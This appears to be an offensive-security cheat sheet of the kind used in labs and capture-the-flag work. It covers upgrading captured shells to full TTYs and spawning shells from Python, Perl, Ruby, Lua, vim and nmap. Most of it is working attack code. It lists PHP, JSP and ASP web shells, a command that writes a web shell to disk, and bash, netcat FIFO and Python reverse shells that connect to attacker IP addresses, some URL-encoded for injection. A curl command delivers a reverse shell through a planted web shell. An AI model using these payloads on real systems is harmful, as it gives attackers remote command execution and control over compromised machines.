Shells/TTYs
and Shells
Teletypewriters
Get a Full TTY
BASH
BASHpython3 -c 'import pty; pty.spawn("/bin/bash")'CTRL+Z
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
ZSH
ZSHpython3 -c 'import pty; pty.spawn("/bin/bash")'CTRL+Z
stty raw -echo; fg %1; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
Clear Terminal
export TERM=xtermTerminal Size
stty sizestty rows <NUMBER> columns <NUMBER>Use arrow-keys
bashset -o historyIn the
.bashrcfile, make sureHISTSIZEis not set to0:
HISTSIZE=1000
HISTFILESIZE=1000rlwrap enables line editing and history:
rlwrap nc -lvnp <port>rlwrap nc 10.10.10.131 6200Spawning Shells
The pty module in Python allows you to spawn a new process in a pseudo-terminal, effectively creating an interactive shell:
python3 -c 'import pty; pty.spawn("/bin/sh")' The script command starts a shell session and records the session to a file. /dev/null is specified as the file where the session is "recorded", but since it's /dev/null, no logging actually happens:
script -qc /bin/bash /dev/nullAlso is possible to use echo to pass Python os.system('/bin/bash') to the Python interpreter:
echo os.system('/bin/bash') Spawn an interactive shell directly from the terminal:
/bin/sh -iThe command exec "/bin/sh" replaces the running Perl process with a new /bin/sh shell:
perl -e 'exec "/bin/sh";'perl: exec "/bin/sh";Ruby's exec function, like in Perl, replaces the current process with a new process—in this case, /bin/sh:
ruby: exec "/bin/sh"Runs a shell command from Lua, but unlike in Perl or Ruby, this does not replace the current process. It runs /bin/sh as a child process:
lua: os.execute('/bin/sh')Replaces the current Ruby interpreter (IRB) with the shell:
exec "/bin/sh";Used to execute an external shell command:
:!bashChanges the default shell used by vim's :! command:
:set shell=/bin/bash:shellSpawn a shell from within the nmap interface, enabling the execution of additional shell commands while scanning:
!shPSY
PSY Shell is an interactive PHP REPL (Read-Eval-Print Loop) used normally for debugging.
getcwd()get_current_user()phpinfo()scandir("/home")file_get_contents("/etc/os-release")Web Shells
<?php system($_REQUEST['cmd']); ?>echo '<?php system($_REQUEST['cmd']); ?>' > cmd.php<% Runtime.getRuntime().exec(request.getParameter("cmd")); %><% eval request("cmd") %>BASH Reverse Shells
bash -i >& /dev/tcp/10.10.14.18/1337 0>&1bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.14/9001+0>%261'FIFO
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/frm%20/tmp/f%3B%20mkfifo%20/tmp/f%3B%20cat%20/tmp/f%20%7C%20/bin/sh%20-i%202%3E%261%20%7C%20nc%2010.10.16.10%204444%20%3E%20/tmp/fnohup bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1" &Python Reverse Shells
PTY
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.6",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'echo 'import pty
import socket
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.6", 4444))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("/bin/bash")
s.close()' > shell.pysubprocess
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.157",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'echo 'import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.157", 1235))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
subprocess.call(["/bin/sh", "-i"])
s.close()' > shell.pycurl http://SITE.com/shell.php --data-urlencode "cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"import os
os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.16.10 4444 >/tmp/f &").read()Last updated